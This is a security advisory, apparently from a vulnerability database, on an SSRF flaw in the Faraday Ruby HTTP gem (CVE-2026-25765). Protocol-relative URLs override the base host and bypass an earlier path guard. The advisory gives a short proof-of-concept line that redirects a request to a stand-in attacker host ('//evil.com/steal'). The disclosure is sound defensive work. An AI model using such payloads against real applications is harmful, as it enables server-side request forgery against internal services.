CVE-2026-25765: Faraday affected by SSRF via protocol-relative URL host override in build_exclusive_url
(updated )
Faraday’s build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby’s
URI#merge to combine the connection’s base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL’s host/authority component.
This means that if any application passes user-controlled input to Faraday’s get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
References
- github.com/advisories/GHSA-33mh-2634-fwr2
- github.com/lostisland/faraday
- github.com/lostisland/faraday/commit/a6d3a3a0bf59c2ab307d0abd91bc126aef5561bc
- github.com/lostisland/faraday/pull/1569
- github.com/lostisland/faraday/releases/tag/v1.10.5
- github.com/lostisland/faraday/releases/tag/v2.14.1
- github.com/lostisland/faraday/security/advisories/GHSA-33mh-2634-fwr2
- github.com/rubysec/ruby-advisory-db/blob/master/gems/faraday/CVE-2026-25765.yml
- nvd.nist.gov/vuln/detail/CVE-2026-25765
- www.rfc-editor.org/rfc/rfc3986
- www.rfc-editor.org/rfc/rfc3986
Code Behaviors & Features
Detect and mitigate CVE-2026-25765 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →